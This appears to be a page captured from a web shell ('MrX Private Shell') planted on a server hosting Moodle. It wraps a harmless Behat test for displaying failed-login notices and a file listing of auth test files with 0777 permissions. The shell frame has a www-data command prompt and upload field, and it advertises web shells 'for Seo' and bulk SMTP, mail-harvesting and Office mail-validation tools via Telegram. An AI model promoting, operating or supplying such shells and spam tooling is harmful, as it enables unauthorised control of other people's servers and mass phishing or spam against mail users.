__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_auth
Feature: Test the 'showlogfailures' feature works.
  In order to see my recent login failures when logging in
  As a user
  I need to have at least one failed login attempt and then log in

  Background:
    Given the following "users" exist:
      | username |
      | teacher1 |
    And the following config values are set as admin:
      | displayloginfailures | 1 |

  # Given the user has at least one failed login attempt, when they login, then they should see both header and footer notices.
  Scenario: Check that 'displayloginfailures' works without javascript for teachers.
    # Simulate a log in failure for the teacher.
    Given I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    And I set the field "Username" to "teacher1"
    And I set the field "Password" to "wrongpass"
    And I press "Log in"
    And I should see "Invalid login, please try again"
    # Now, log in with the correct credentials.
    When I set the field "Username" to "teacher1"
    And I set the field "Password" to "teacher1"
    And I press "Log in"
    # Confirm the notices are displayed.
    Then I should see "1 failed logins since your last login" in the ".navbar" "css_element"
    And I should see "1 failed logins since your last login" in the "page-footer" "region"
    # Confirm the notices disappear when navigating to another page.
    And I am on homepage
    And I should not see "1 failed logins since your last login" in the ".navbar" "css_element"
    And I should not see "1 failed logins since your last login" in the "page-footer" "region"

  # Given the user has at least one failed login attempt, when they login, then they should see both header and footer notices.
  Scenario: Check that 'displayloginfailures' works without javascript for admins.
    # Simulate a log in failure for the teacher.
    Given I am on homepage
    And I click on "Log in" "link" in the ".logininfo" "css_element"
    And I set the field "Username" to "admin"
    And I set the field "Password" to "wrongpass"
    And I press "Log in"
    And I should see "Invalid login, please try again"
    # Now, log in with the correct credentials.
    When I set the field "Username" to "admin"
    And I set the field "Password" to "admin"
    And I press "Log in"
    # Confirm the notices are displayed.
    Then I should see "1 failed logins since your last login" in the ".navbar" "css_element"
    And I should see "1 failed logins since your last login (Logs)" in the "page-footer" "region"
    # Confirm that the link works and that the notices disappear when navigating to another page.
    And I click on "Logs" "link" in the "page-footer" "region"
    And I should see "User login failed" in the "table.reportlog" "css_element"
    And I should not see "1 failed logins since your last login" in the ".navbar" "css_element"
    And I should not see "1 failed logins since your last login (Logs)" in the "page-footer" "region"

Filemanager

Name Type Size Permission Actions
behat_auth.php File 2.5 KB 0777
displayloginfailures.feature File 2.91 KB 0777
login.feature File 3.13 KB 0777
login.php File 2.97 KB 0777
loginform.feature File 4.66 KB 0777
logout.php File 1.33 KB 0777
rememberusername.feature File 2.31 KB 0777
validateagedigitalconsentmap.feature File 2.52 KB 0777
verifyageofconsent.feature File 2 KB 0777
Filemanager